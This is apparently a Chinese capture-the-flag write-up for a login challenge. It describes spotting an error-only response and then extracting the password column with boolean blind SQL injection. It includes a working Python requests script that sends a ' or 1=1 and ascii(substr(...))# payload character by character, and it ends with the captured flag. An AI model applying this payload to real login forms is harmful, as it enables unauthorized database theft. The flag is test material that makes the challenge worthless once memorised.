登录界面,随便输个1,1
发现没有回显数据,只有这种报错相关的提示
不管三七二十一,开始爆破
有惊喜
接下来可以开始注入了,这个跟最简单的sql注入不一样,没有数据回显,我就用我比较熟悉的布尔盲注开始爆破了
可以直接开始爆破列,手工爆破就用二分法
我爆破出来了有三个列,id,username,password
猜测flag是在password里
不要在意端口,补wp的时候容器到时了,重新开了一个
写了个py的脚本爆破password的数据
import requests
import time
url = "http://challenge.qsnctf.com:30162/login.php"
flag = ""
for num in range(1,100):
for i in range(33,127) :
data = {'uname':"' or 1=1 and ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}
res = requests.post(url = url, data = data)
time.sleep(0.05)
if res.text == "Login successful" :
flag += chr(i)
break
print(flag)
flag出来了
qsnctf{4b2b33f44897437eb4d0bc1b1328a0e5}